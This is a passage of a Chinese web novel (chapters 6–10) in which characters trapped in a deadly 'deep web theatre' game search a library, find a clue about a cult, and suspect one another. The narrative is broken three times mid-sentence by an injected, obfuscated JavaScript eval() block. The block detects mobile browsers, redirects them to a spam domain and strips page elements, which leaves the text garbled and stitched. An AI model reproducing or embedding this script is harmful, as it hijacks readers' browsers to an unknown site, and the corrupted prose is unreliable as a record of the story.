“要么她是其中之一,要么她不是冀湖市的,要么她是警察或者军人。”舒觉清楚地吐出她的判断,“从概率学来看,她撒谎的可能性很大。” 曲语冰点点头,“就算她是那三百个人好了。我想,她可能不叫这个名字。” 舒觉眼神露出些吃惊。曲语冰说:“她衣服下摆绣了字母。” 他在小几上写了“JX”两个字符。“那不是品牌标识。作为一种标记,名字缩写是最有可能的。” 姜满。姓氏倒能算对上了,不过后面显然不是。就在舒觉思索的当口,曲语冰气定神闲又冲出一壶茶,一面倒着,一面说:“还有,不管她是什么职业,都不可能只是个‘普通’的上班族。” “她那件衬衫,是私人订制,价格一般在这个数。”他伸出几根手指。舒觉促狭道:“你这后面是要跟着几个零啊。” “这就是零的个数。”曲语冰说,以一种风轻云淡的语气。舒觉“呃”了一声,多少觉得,她和有钱人中间果然还是隔了一层可悲的厚障壁。 “开头就说谎,真是相当可疑啊。”曲语冰轻快地说,这让他听起来并不是真心这么想。 舒觉继续享受对方的冲茶倒茶服务,闻言道:“算是吧,不过这只能说明她很谨慎。” “不过,我猜她应该和我们一样,是主动进来的。”舒觉想起昨晚姜满镇定自若的表现。在邱容被断骨剥皮的时刻,她也只是瞳孔少许放大,却是面不改色。 “通过投资方?” “不知道,我只是在讲主观意愿。”她“啊”了一声,“你提醒我了。” 曲语冰竖起耳朵。“实际上,我不知道我们是不是通过投资方这条渠道进来的。” 曲语冰说:“啊?” “我是去找了人,她答应想办法,但最后进来也没有任何提示……和上一轮没区别。所以,我也不清楚我们是怎么进来的。” “如果我们没有收到提示,很可能就有其他投资方塞进来的人。”曲语冰说。 “反正目前来看,应该不是我们几个。”舒觉说,“慢慢来吧。总会露出马脚的。” 夕阳西下,他们走出图书馆。道边斜影长长,风声呢喃,曲语冰慢悠悠地说:“你可以信任我,对吧?” 身边的女孩侧眸,她语调平淡而有力:“我不会怀疑你,曲语冰。” 他们在安静中走了一会儿。舒觉轻声说:“如果我们陷入自相怀疑,那就麻烦大了。就像应先生说的那样。” “他看上去像个好人。”曲语冰用一句模棱两可的话做出评价。 舒觉指指前方越来越近的一个背影,“那祝时明呢?” “小明?他是个好人。”曲语冰说。 7. 第 7 章 律师说:“您好。找舒觉什么事?” 曲语冰露出春风般的微笑。“安律师您好,我这边有一份文件,需要舒觉同学亲自签字。” “放下吧。”安丽廉说。随后她又戴上眼镜打开液晶多面屏,居然就摆出送客的架势了。 曲语冰维持笑容不变,“抱歉,但我一直联系不到她,可以请您给我她的联系方式确认后续事项吗?” “何必麻烦。你联系我就行。”安丽廉头也不抬,“舒觉女士已经授权我全权代理学校事务。我的处理和她的具有同等法律效力。如果你还有担心,我会转告她。” 在现行法律下,这是完全合法的。曲语冰当然知道这一点,好在他也不是无备而来,“但这份文件不是学校事务的。” 安丽廉示意他往下讲。曲语冰背腹稿:“舒觉同学填过我们公司志愿问卷。那个项目就要试运行了,这是一份内测邀请通知。由于项目可能有一定危险性,希望本人能亲自来确认。” “你开公司?” “大学生创业。” 两人均用无懈可击的微笑面向对方。半晌,安丽廉说:“你是生还者,是吗?” 她的语调很平静。然而,这并不是一个人人都该知道的词语。这更证实了他的猜想:舒觉和她绝不可能只是简单的雇佣关系。 曲语冰心中思绪飞转。他说:“如果我说不是呢?” “不管你是不是,都与我无关。”律师十指交叉,凝视自己指尖,“她没授权过我处理这个。” 随后她直起身,面无表情,威严气势一瞬间如狂风扑来。“你到底想要从我这里得到什么?说实话。也许那样我还会考虑一下。” 曲语冰面不改色,仿佛他没看出安丽廉的变化。“我想要她的联系方式。我有事要找她。” “和深网剧场有关,是吧。”她用的甚至不是问句。“请你离开。” 她是认真的。曲语冰耸耸肩,也没再停留,抬脚就走。和这种人多纠缠,下场不好的绝对会是自己。他可以再想想其他办法—— 后面遥遥传来一声呼喊:“等会。” 曲语冰走回去。安丽廉咬着嘴唇,看上去十分心烦意乱。片刻后,她在半空中点了下,一串数字随之浮现,很快又像雾一样散了。 “你可以试一下这个邮箱。记不住就是你们没缘分,我劝你算了。”安丽廉语气不怎么好,曲语冰真心实意笑起来,“感谢您。” “我不保证她一定会回复你。” “她会的。”曲语冰说,他转过身去,挥挥手,“只要……我们都有同样的感觉。” ***** 舒觉看着身边的男性,不由觉得有些奇异:她怎么就和他这么自然地搭档起来了? 祝时明正弯腰在一堆报纸里翻找着。他全神贯注,带着一双手套,离她不过几步远,看上去并没有任何拘谨。但她之前看到姜满和他靠近说话的时候他都会紧张。 这是什么原因?他觉得他们熟悉到不需要在意这段距离? 舒觉甩甩头发,把这些稀奇古怪的念头甩出去。她还是把精力放在手头工作上比较好。 现在,她和祝时明正在图书馆的旧刊收集室里。这里储存着许多旧报纸,自从上次询问图书出版年限后,舒觉认为,指不定可以在报纸里找到什么线索。或者至少确认一下是几年到几年的范围也好。 这能方便他们确认幕后凶手的身份。他打造出一个图书馆,在这里塞满过去的记录,不可能什么用意都没有。至少有那么几个东西,应该对他是具有意义的。 如果能确认身份,外部世界就可以展开行动,也就能把他们救出去。那也算是完成了一部分她进来的目的了。 不过说实话,舒觉并不抱有太大希望。谁知道什么东西才是线索?况且,她的疑问,即使在找出幕后真凶身份之后,也未必就能被解答。 她这厢往外抽着报纸,快速浏览,将内容尽数记录在脑,方便日后比对。这对她来说不算什么难事。她曾经被逼着记下了一个档案馆里四十年间所有的研究资料,现在也还全部记得。 尽管那些东西都没什么用了,但她还是无法忘记。反正存在脑子里也不会有什么坏处,她也就放任不管了。 现在在记录的过程中,她也已经在将内容汇总归类。一般的日报不必多说,有趣的是这里还有许多科学研究相关的报道,有几本刊物是一期不落,全部收集了。 据她所知,这些报刊都专业性极强,是小范围传播的,只有那个领域的人会订阅。现在也有许多停刊或者转型了。这里收集得如此之全,甚至能做个博物馆展览了。 除此之外,还有很多不同类型的报纸,只是这一个领域比较特别,才被她注意到了。 光幕上字符滚动:我们大学的学刊这里还蛮多的。 祝时明抬起头,脸上表情有点复杂。大概是在这个离奇的地方里看到熟悉的事物,多少不大适应吧。 “我看看。”舒觉凑过去,头发在他目前扫过。祝时明飞快眨了几下眼睛。 光幕:你要不要扎起来? “是有点挡眼睛。”舒觉用手把侧边头发拨到肩后,“但我没带皮筋啊。” 一只手伸到她面前。摊开的掌心里,是一个黑色发圈。舒觉带着点诧异看向他,祝时明撇开视线,没解释什么。 舒觉拿走它,利落地快速扎了个马尾。她总觉得这个桥段有点熟悉。是在哪部电视剧里吗? 她决定先不管了。如祝时明所说,他那边堆着一摊冀湖大学的学报,不过与其说是这个大学全部出版过的学报,不如说…… “这好像都是生物工程、医学系、计算机系和人工智能学系的。没有其他学院的吗?” 舒觉捏着学报一角,从上到下飞了一遍标题。至少在这一堆期刊里,没有别的学院出现。 光幕:最新一期截止到四十年前为止。 祝时明的脸庞从她肩上探出,他刚刚也整理过一番这些内容。 “看来,这个年份对某人来说有重要意义。”舒觉站起来,拍拍手套上的灰尘。那是祝时明找给她的。 他点点头。暂且把这个年份记下来,两人又投入了新的寻找过程中。 直到祝时明停在一个地方,久久不动弹。舒觉称得上专心致志,即使如此她也注意到那边的异常。 她走过去。“怎么了?” 祝时明没有说话。他的嘴唇没有动作。他蹲在那里,像是终于下定什么决心,伸出手,将一张薄薄的纸递给她。 舒觉疑惑地接过。她抖了两下,让纸张迎风展开,黑体加粗的大标题映入眼中—— “邪教团体七日教会全体落网!” 那几个字仿佛过强的光,一时间刺得她头晕目眩。刹那间,那些她企图忘记却永远不可能忘记的日子如同浪潮,将她席卷攫走。 她根本不可能压得住自己的震惊与恐惧。手中过度用力,剪报被攥成一团皱卷,指甲隔着一层纤维,在掌心掐出深刻的痕迹。舒觉身子晃了一下,她猛地撑住身后桌角,维持住自己。 祝时明望着她。舒觉惊恐地意识到,他全看见了。这和直接说自己与这东西有关系有什么区别? 他站了起来,但没有贸然行动,而是保持着一定距离,仅仅只是望着她。舒觉难以辨明,那眼神中是什么意味。 半晌,他迟缓地半抬起一只手,像是想要触碰她。难以置信,在这样的境况里,舒觉没有感觉到任何威胁的意思。他似乎真的只是想确认她好不好。 舒觉用力深呼吸,才强迫自己将手松开。“……你从哪里找到的?” “就在这边的报纸里。夹在了里面。这是唯一一份不是四十年前的东西。”他缩回手,神色看不出什么不对。 这不可能。这张报纸,连她都只见过一次,没有保存实物。政府应该派人把所有原件都销毁了——漏网之鱼?复印件? 不管是哪种,她都不能把这份报纸示于人前。但祝时明已经看过。她要如何解释? 带着或许看错的侥幸心理,她又把内容浏览一遍:“今日,破坏社会安定的邪教团体‘七日教会’终于落网。百余信众和领导团体均已被公安缉拿,其中受害者也已被解救安置。 “‘七日教会’公然宣扬末日邪说、个人崇拜,以此吸纳大量信徒与钱财。有切实证据证明,多起凶杀案与盗窃案均与该邪教有关,其中最为公众所知的便是‘十号线人体炸弹案’,其中造成了多少生命的消逝、多少家庭的悲剧,此不赘述。 “值得我们高兴的是,太阳煌煌,正义与安宁终于到来。所有邪恶终将被绳之以法,法律会审判每一份罪行,给人们一个满意的答案。” 一字不差。 那天她摇下车窗,阳光是从未见过的刺目。路边报刊亭上贴着这张头版,白底黑字,她以为那就是结束了。 而直至今日,过往仍然缠着她。如同月亮钉住地上的影子,逃得越远,黑暗延伸越长,却始终不从脚跟离去。 她的心脏剧烈鼓动。她不能示弱。她不能屈服。她不能让他人发觉。 她吞咽一下,再开口语调冷静到平板无调的程度:“我没看过这个新闻。你有了解过吗?这个……‘七日教会’什么的?” 金棕色的瞳孔注视着她。祝时明说:“没有。” 舒觉不着痕迹地松了口气。她就知道,这种六年前的旧闻应该很多人都已遗忘。或是根本没有印象。毕竟,这与大多数人的生活都无关。 “不管是什么东西,反正它不应该出现在这里。年份对不上。”这点舒觉说得极肯定,祝时明也点头赞同。 “我们要怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她笑了几声,话语中充满恶意:“不过,还请小心。‘幕后’只能确认这件东西是否为线索,但线索究竟为真为假,还需各位自己思考与确认。” “这是什么意思?”原本已经要确认这里与七日教会有关,却猛然来个反转。舒觉不由质问她。 “线索携带的内容或传达的信息,一定为真。”穷奇慢条斯理讲,“然而,它指向的对象却不一定为真。” “也就是说,线索必定会指向我们中的某个人,但这个人不一定是编剧,对吗?”祝时明冷静地开口,他仰望空中玩弄他们的存在,眼中毫无畏惧和迷茫。 “没错。这位演员,我很欣赏你啊。务必要在这个舞台上多待一会儿,让我好好欣赏你的身姿。”穷奇捧他两句,然而这句话难以说清究竟是祝福还是诅咒。 “所以,到底哪个线索是有用的、指向的,哪个又只是在混淆你们、引发猜忌,就由各位自行判断了。”穷奇说,“当然,剧团也没有那么苛刻——前三条线索可以向‘幕后’确认指向谁。” 舒觉眼神骤然锐利起来。“但仅限线索指向者亲自向‘幕后’发问时,这个额外的福利才会生效。并且,幕后不会告知线索指向者是否为‘编剧’,这一点是不变的。”凶兽补充道。 穷奇正待消失,却被祝时明叫住。“那我们要怎么判断?判断的标准是什么?” 穷奇的身形停止消散。她原本已经背过身去,此时却转回头来,那双仿若兽瞳的古怪眼睛紧紧盯着祝时明,仿佛要从他身上找到什么东西。 她缓缓道:“嗯,这个嘛。真相和谎言之间自有分界,在这里,它是泾渭分明的,绝不会有任何混淆。并且,这分界线,只有一条。” “尝试分个类吧?你这样聪明,一定知道我在说什么。4号演员祝时明。” 她甜甜一笑,看上去却相当恐怖。这次,这位经理人是真的消失了。 驻足片刻,祝时明才转身面对她。舒觉不知道该说什么。她精心编造的借口和理由,在穷奇的插手下,现在全部白费了。 同一刻,她才意识到,她根本不想骗祝时明。哪怕只是这点必要的谎言。 这让她感到恐惧。 你怎么能对一个不是家人的人如此心软? 祝时明说:“走吧。” 他轻轻抽走她手中的剪报,为她分担那对他人微不足道、对她重若千钧的重量。他什么都没多问。 他这样的态度反而让舒觉困惑,进而心慌。但她什么都不能问,否则就是在不打自招。 因此,她只是走在他的身旁,沉默不语。 至少,我知道一件事。舒觉想。 第一份线索,为假。 8. 第 8 章 居然是真的。他真的能做到。 他给我看了现实世界的情况。他们的确都不记得我了。不只是J和Q,我的家人也不再记得我。他让那些人抹去了我存在过的事实。 如今,这个世界上不再有我。 原理他也解释给我了,居然是因为这个……实在让人对自己的专业有点失去信心啊。如果他都能做的话,好像也不需要我们了。 我不知道我还能做什么。我不知道我还能期待什么。 他们曾经许下誓言……但如果连许下誓言这件事本身都忘记了的人,又能怎么遵守呢?更何况,这件事本身就太难了。我不能苛求他们还会回来救我。 至少我还有一点优势。时间。从另一个角度来看,我已经永生。我有足够长的时间来想想今后要怎么办。 我一定要想出办法来。 我要回到我的世界里去。 ***** 她就知道,回去后一定会被大家盘问。 舒觉在心中叹息。她和祝时明不得不把他们在图书馆的经历复述一遍,当然中间省略许多心路历程,又回答好些个问题,只觉得无比疲惫。 “就在旧刊室里找到的。……我也不知道有什么关联。七日教会?没什么印象。……暂时也搞不懂那些规则在说什么。” 刚刚穷奇的规则宣布果然是向全员同步直播的。这下,她是毫无可能瞒下这张剪报了——这张必然是指向她的剪报。 它就放在客厅中央的茶几上。每次看到它,都会让舒觉喉头涌上一股难忍的不适,就好像胃中有个东西时刻在提醒她,她究竟是个什么样的人。 总算,有个人打断这一切。“菜都要冷了。你到底什么时候吃?” 乔木语带不悦,手里握着一柄大锅铲,颇有她再不去吃饭,就要赏她头顶一铲的架势。 这番话终于提醒其他人她还没吃饭的事实。舒觉感激地看乔木一眼,赶紧抓住这个机会奔到餐厅,躲开更多问题。祝时明也随她一起,坐到了餐桌边。 两个人开始与肉酱拌面鏖战。葱花、酱油与猪绞肉搭配得无比和谐,宽面颇有嚼劲,大起大落一天,能吃到这样热乎乎的东西,舒觉简直想恢复祈祷的习惯,感谢主——乔木大厨神。 当然,那是不可能的。她是彻彻底底的无神论者。祝时明也难得狼吞虎咽,她平时见他吃饭都挺慢条斯理的。 客厅那边,其余人聚集在一起,还在讨论什么。乔木摘下围裙,一丝不苟地喷了消毒喷雾,在挂钩上挂好后,也走过去加入。 舒觉暂时不想去管他们会聊什么。她快速解决自己那份面,祝时明还在吃,乔木给他的那份比她的要多一些。 说到饭量问题,舒觉经常怀疑,曲语冰和乔木就吃那点东西,到底是怎么吃得饱的?祝时明这样的,应该才是这个年纪男性的平均食量吧。 “抱歉,太饿了。”祝时明忽然冒出这么一句。舒觉微微一愣,才意识到他是在为自己的吃相解释。 看来是她的目光留在他身上太久,被察觉了。“没事,我自己也没吃得多好看。” 她有点拿不定主意要说什么。请他保守秘密?但她又有什么能给他作为交换?说到底,他们只是刚认识不久的陌生人,甚至连对方吃不吃苦瓜或者番茄都不知道。 乐观点想,说不定他没发觉呢。舒觉面无表情地想,这大概也太乐观了。 “……我不会说的。”身边传来闷闷的一声,舒觉拉回目光,祝时明抽了张纸巾,正在擦嘴角的酱汁。 “什么?”舒觉不清楚自己该表露出什么样的态度。她只得给出模棱两可任君理解的回答。 祝时明将手臂倚在餐桌边沿,微微侧头注视她。他的目光清透,丝毫没有怀疑。 他说:“不论什么都是。我不会说出去的。” 这是一个承诺,还是一个威胁? 舒觉与他对视良久,仍然得不出答案。 至少,现在,他没有表露出敌意。她暂且把事情往好了想吧。毕竟在刚刚的问答中,他也没有说出任何不利于她的答案。 这时,苏彦在客厅叫他们:“吃完了吗?过来一起来商量一下吧。” 两个人走过去。舒觉并不意外地发现,人们坐下的位置已经和开始不同:苏彦和洛珠站在姜满的单人扶手椅两边,她旁边的乔木站在曲语冰的沙发对面,双胞胎凑在茶几一角边,法医应如观一个人站在一处,端详着那张剪报。 舒觉径直走到曲语冰那边的沙发,她伸手一推对方:“过去点。”语气毫不客气。 曲语冰非常顺从地往旁边挪,神态谦恭有如下一秒就要说出“大小姐请坐”。舒觉坐到中间,而她身后的祝时明几乎是无意识跟着她坐下,三个人把一条长沙发占满。 “人齐了,那我们就来讨论一下这条新规则吧。”姜满拍拍手,把大家的注意力吸引过来。舒觉瞟一眼那张剪报,压下想要将其一把夺走的欲望。 姜满说:“首先,我想讲一下我对新规则的理解。如果觉得我说得不对或者想要补充,请务必要提出来,毕竟我个人能力有限,做不到完美分析。” 见无人反对她发言,姜满便继续说:“我认为,这条规则有以下几个值得注意的点。第一,剧场内会随机出现‘线索’,‘线索’可以帮助我们找到‘编剧’; “第二,需要我们自己主动找到特殊的物品并向幕后确认是否为‘线索’,才能完成一次‘线索’的发掘过程; “第三,‘线索’有真有假,真的指向‘编剧’,假的指向其他一般人,目前我们没有找到辨别真假的标准。” 她结束自己的发言,面上并无紧张,反而像在期待有人反驳或提问。这时,苏彦沉思着慢慢开口:“也就是说,‘线索’的真假指的并不是它本身传达的信息内容真或假,而仅仅只是指向上的区分?” “按照穷奇的话来说,我认为是的。”姜满回答他。她伸手拉过那张剪报,那条线索,“就用这个来说明一下吧。” “这张剪报上写的,是六年前的七日教会落网事件,这篇报道我没看过,但我知道这件事,也记得这个日期,这个报道本身应该是真的。”姜满说,“但‘编剧’是否和七日教会有关,或者是否和记者这个职业有关,那就不清楚了。” 舒觉纵观各人表情,应该都明白了。但有多少人认为这指向了‘编剧’,她就看不出来了。 “话说,你们怎么知道这就是线索的?你们说的那个地方应该堆满了旧报刊吧。是怎么把它挑出来的?”姜满忽然侧目,看向舒觉和祝时明。 祝时明微微一呆,就在他反应的当口,舒觉已经抢先回答:“我们一开始也不知道。把它拿出来看的时候,穷奇就自动出现开始宣布新规则,那个时候我们才意识到。” 祝时明没有说话。姜满对这个回答挑不出问题,便也不再纠结。 “这里还有谁知道七日教会这个事吗?”应如观抛出这个问题,苏彦和乔木给出了肯定答案,前者补充道:“不过也只是听说过。” “毕竟那时候你们还小。大概……上初中?”见苏彦点头,他便微笑道:“那也许,这条线索指向的是我们四个人之一。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话是这样说,真正完全遵守的一定不会是所有人。舒觉想,在这场演绎里,每个人都必定优先为自己着想。 这没什么好指责的。不自保,难道还先去拯救别人吗?她见过最虔诚的信徒都没有这么无私奉献的精神。 “还有,前三条线索我们要利用好。”姜满加了一句,“不过这个前三条,是我们发现的前三条,还是向‘幕后’询问的前三条?” 这个问题一出口,舒觉面前便浮现一条光带,上面写着“幕后”的回答:八号响应。“前三条”指的是向“幕后”询问的前三条。 “那这样的话,我们要节约机会。对于有用的线索,才去找‘幕后’问。”姜满沉吟道。 这点微小的模糊都给她察觉了,舒觉之前也没细想这点,直接认为是他们发现的前三条线索了。她不由对这个女子感到一些佩服。 等到众人散去,舒觉回到房间,她便立刻叫出“幕后”进行询问。 “这条线索指向的,是不是我?” 她就这样直接地说出。就她经验看,向幕后提问最好不要含糊其辞,否则会无法识别真正的问题。 片刻后,光幕在她眼前徐徐展开。 是的。 那么,这条线索就是假的。 真是值得庆幸,她确认了七日教会与深网剧场无关。一个已经覆灭的组织,不应该还有任何影响力。如果到那份上政府还没能把它一网打尽,那公民们的税实在是白交了。 毕竟,当年他们已经亲手打开了所有的门和窗,让一切都暴露在灼亮的太阳之下。 9. 第 9 章 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:舒觉】 舒觉背着书包,在路上走着。脸上戴着的黑框眼镜压得她鼻梁有点痛,她不适应地伸手扶了扶。 这点小动作也不算脱离剧本,她做得很是理直气壮。按着剧本指示,她持续往前走,双手握着背包带子,十足的学生模样。 而实际上,她几乎就没有一天做过一个正常学校里的学生。身穿校服、每天准点上下学的那种。她想起申请高校的那几年,现在回过头来,甚至有点好笑:她当初为什么会如此执着于这种东西? 明明即使她真的被接受入学,恐怕也无法融入其中。 这点念头很快被一个拍肩打断。舒觉转身,脸上露出明显的厌烦,“您好,有什么事?” 语气像在说“不管有什么事都与我无关”。她身后的姜满身着警服,笑容可掬,浑然不把她这不配合态度放在心上,“你就是徐青木同学吧?真是好巧啊,在这里遇见了。” 舒觉语气冷淡:“不巧。是你在跟踪我。” 她又扶了一下眼镜,姜满笑容僵了一下,“怎么会呢。我可是人民警察,不会做这种侵犯公民隐私的事……” 她的话音在舒觉平静的注视下越来越小。最后她自暴自弃了,“好吧,对不起!我很抱歉做了这种事!这样可以了吗?” 舒觉的回应是转身就走。姜满急了,赶紧冲上去,这回她学聪明了,知道要拦在她前面,让她无路可走。 试了几次都逃脱不开面前警员——实际上的舒觉是可以做到的,不过毕竟是在角色扮演——她无语又烦躁地叹了口气,口气更差了:“你到底想干什么?” “代表我们警局,请你帮个忙。”姜满收敛笑容,正色讲道,“这个案子很棘手。我们需要你的能力。” “我拒绝。”舒觉说。她眼睛直直地注视姜满,一般而言这很不礼貌,但对于此剧的“徐青木”来说,这才是正确的表演。 但让舒觉略感惊讶的是,姜满的视线从头至尾,没有移开过分毫。她始终注视着她的眼睛。如果不是经受过专门训练,舒觉也做不到这点。 疑窦如水底鱼吐气泡,团团浮生。舒觉强迫自己把注意力拉回对面台词上:“我们会给你经济报酬,还有表彰。” “我不在乎这个。”舒觉说,继续试图突破出一个缺口溜走。 姜满见她顽固如初,语气也不由得急了起来:“不会耽误你的!我们找了你那么多次,不是为了好玩!你知不知道,现在每一秒过去,都可能会新死一个人?” 舒觉停住脚步。她的视线坦率,其中是不加掩饰的冷漠。“那和我有什么关系?” 这次,姜满终于没再拦她。舒觉调整一下书包带子,目不斜视往前走。 身后,姜满平静的声音遥遥传来:“身为国家的合法公民,你有义务配合警方的要求,协助警方制止犯罪的行动。请你负起责任。” 舒觉顿在原地,犹如触发了警报机制的兽类。她一点一点转过脖颈,几乎像关节卡壳的扭颈玩偶,眼睛睁得很大,漆黑而深不见底。 半晌,她说:“好吧。” 姜满于是笑开。她轻快地过去,取出一张照片,“这就是我们想要你追踪的目标,他叫……” ***** 从舞台空间中脱离出后,舒觉发现脸上的眼镜不见了,总算是舒畅地松口气。她的鼻梁可再承受不起那合金玩意儿的重量了。 姜满笑盈盈地从对面走过来,递给她一杯温水,“辛苦了。” 舒觉也没客气,接过来一口喝掉大半杯。她今天下午连演两场,讲台词都讲到口干舌燥,这杯水实在是砂中甘泉。 姜满似乎也打算休息一下,坐到了她身边的沙发上。舒觉不太适应和旁人靠得那么近,但此刻躲闪就显得尴尬了,她便忍住了没动。 “你很讨厌戴眼镜啊。”姜满说。 舒觉将喝干净的杯子放回桌上,“算是吧。毕竟我不近视。” “真好啊,我总感觉自己实力下滑了,都想过去找个眼科医生看看呢。”年长的女人漫无目的地闲聊着,舒觉回她:“大概是错觉?” “不不不,人老了和你们年轻人真比不了。”她连连摇手,“坐班坐多了真的,对着屏幕,受不了。” 她的话语中毫无破绽,没有超出她表明身份的内容。但舒觉怎么也不相信她只是个上班族。 她决定主动出击:“姜女士穿警服看上去很帅啊。一点不自然都没有。” “哎呀,不用叫我什么女士啦,我不是说了叫名字就行。”姜满照例先揪出她的称呼,“毕竟那套衣服蛮合身的?和我平时上班穿的尺码一样。” 说着,她打了个寒噤,“也不知道这个鬼地方是怎么知道我们尺寸的……有点恶心。” “是呢。”舒觉不动声色地附和她,“很多东西感觉都解释不通。” “哎,不管了。现在也没什么别的方法,照着它的要求先演着吧。”姜满为这个话题画上句号。 她们又不咸不淡聊了几句,直到舒觉先告别,借口要出去找找看,有没有线索能帮忙他们脱离这个世界。 一来到门外,她面孔便迅速回到漠然,没人能从那其中窥探出半分思绪。 ***** 首先听到的是,有人走近的声音。细小的金属在风中摇晃,除此之外,几乎没有任何响动。没有脚步声、没有身形移动带起的风,仿佛幽灵,悄然靠近。 在这里,只有一个人能做到这点。曲语冰取下面上宣传单,回头笑道:“演完了?” 来人正是舒觉。她面上闪过一丝遗憾,可能是因为没能一把抽开椅子、让他摔个凄惨。他坐着的椅子正危险地前后晃动着,仅有后面两只脚的一半还咬在地上。 舒觉抽开他对面椅子坐下,点了份超豪华巧克力圣代。“是啊。累死我了。” 曲语冰把椅子晃回来。下午没有抽到他演戏,于是他得以将一整段时间都花在破解监控系统上。用的是舒觉给他的程序,他自己再加以改造适应商店街的监控系统——宿舍和商店街的防火墙有些不同,费了他好一番功夫。 好在他算是弄完了。现在,宿舍和商店街将处于他们的监视之下。尽管有一些盲区,但空间不大,若是有人长时间待在里面,走出来的瞬间也会被发现。 舒觉没有向他解释理由,但曲语冰一想也知:上一轮她恐怕正是通过监视所有人的举动找出了疑点,进而举证成功。 他不反对这个做法。通常来说,他不会因为侵犯他人隐私而感到愧疚,这只是达成目标所需要的手段。而且,他们又不是拿来做什么坏事。 想到这里,他不由感到兴致盎然:谁会是第一个露出马脚的人呢? 舒觉坐在他对面,慢慢地吃着一份巧克力圣代。她姿态优雅,动作落落大方,一看就知道绝对不会把奶油吃到手指和衣服上。曲语冰清楚,在外面的世界,舒觉理所当然会是受人欢迎的类型。 他也对她很是欣赏。尽管没有男女之情,但在他看来,舒觉仍然是个极有魅力的人。她的能力远超出自身年龄,过往经历成谜,身上疑点简直堆叠难数,然而说来也怪,曲语冰觉得自己可以信任她。 也难怪祝时明给她迷得三魂五道的。想到这个他就觉得好笑。喜欢上舒觉,他也算是完了。 就在他漫游中,对面的人忽然说:“我觉得她是个警察。” 曲语冰收回思绪。“你没看我们的演绎吧。她穿警服和你穿T恤差不多。那种气质可不是一般人能穿出来的。” 这个猜测不能说毫无根据。会用枪这点本身就指向性很强。不过曲语冰说:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467489|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是直觉吗?” 舒觉耸耸肩。“是吧。” 他们都没从和姜满的对话里找出什么来。曲语冰承认,阅历多还是有好处的,至少在平时的对话中,他没发现姜满是个警察的痕迹。 “但她究竟是出于什么目的,才要在开头介绍自己身份时就要撒谎?”舒觉说,“如果是警察或者军人,我觉得其实没什么隐瞒的必要。这应该能让她更容易取得信任吧?” 那是对一般人来说。他知道舒觉不信任警察,甚至到了一种有些极端的地步。所以听她这么分析还挺奇妙的。 尽管这些怀疑有道理,但在曲语冰看来,她似乎过于执着于这一点了。自从她和祝时明带回那个线索之后,她就有些神经质,不大稳定的样子。 他还记得她当时说了什么。“这个是我们在图书馆发现的。……不知道是什么意思。” 曲语冰想:她撒谎了。但为什么? 至少他看不出来那张剪报和编剧的关联在哪里。但既然舒觉不愿承认,他也无意提起。直白指出他人错误与谎言是乔木才会做的事。 希望这不会成为什么问题的引子。 他闲适地笑笑,刻意用着平常的口气,没有表现出自己的担忧:“其实有什么关系呢?难道我们就完全诚实了吗?” “我们只是有话没说完。但她——你也看到了,不只是这样。”舒觉语气冷淡,“而且,会用枪可不是什么普通人能有的技能。” 这句话才是她真正的论点。曲语冰没反驳,只是简单道:“你也会,不是吗?” 她给了他一个眼神,大概是“明知故问很好玩吗”的意思。曲语冰摸摸鼻子,还是不多说了。 他决定换个话题。曲语冰把便携折叠屏转向女孩,点开遥控笔,在窗口画面上指点江山,汇报他取得的进展。这大概能多少缓解她的焦虑。 舒觉确认了监控系统的总体情况,眉宇间的折痕舒展开些。她说:“那个古玩店背后有一条暗巷,你去过吗?” 曲语冰思忖了一下,答道:“上一轮去过一次,那里是没有摄像头的。” 那个地方很难被监控。不过,知道有这么个地方的人也寥寥无几。他们作为上一轮的演员,情报上很占优势,不过如果是投资方塞进来的人,也未必就不知道这些。 “其实我们可以去和店主商量一下。”见着舒觉沉思,曲语冰提议道。他接着讲:“一般来说,演员的要求应该都会被满足。不知道在这种地方能不能有用。” “行,下次去问问吧。”舒觉肯定了这个提议。 不远处,那对双胞胎姐弟打闹着,笑声随风传来。舒觉看了一眼,干巴巴地说:“真好啊。我也想这么无忧无虑的。” “他们都心挺大。”曲语冰说。在这种环境里,高中生应该是这副模样吗?他们没有他想象得害怕,不如说,他们似乎已经融入了这个剧场—— “怎么了?” 舒觉在他面前晃晃勺子。曲语冰回过神来,意识到自己的视线停留在那两个背影上太久。他恢复惯常的散漫笑意,“没什么。发呆而已。” 这句话暂且搪塞过对方。舒觉没有追问下去,她继续享用自己的雪糕了。 又一个脚步声。曲语冰转头,身姿挺拔的青年在二十步开外望着他们。夕阳如血,在他身后轰轰烈烈地袭向地平线,在灿烂的黄昏中拖出一条金橙的轨迹,他的面庞笼在一片昏黄中。 祝时明注视着他们两人。他的眼神里有伤感,有怀念,有思绪万千,唯独没有半分嫉妒或吃味。他看着他们,就好像他们已经认识很久。他从遥远的地方回来,庆幸并非一切都已物是人非。 我们曾经见过吗?曲语冰想。他没有舒觉的记忆力,可也不是健忘的类型。 那为什么,在他的记忆中,有关祝时明的部分只是从深网剧场才开始? 10. 第 10 章 【剧目:岛】 【演员:邹摇光、邹玉衡】 邹摇光抱着一柄枪,随小船摇摇晃晃。 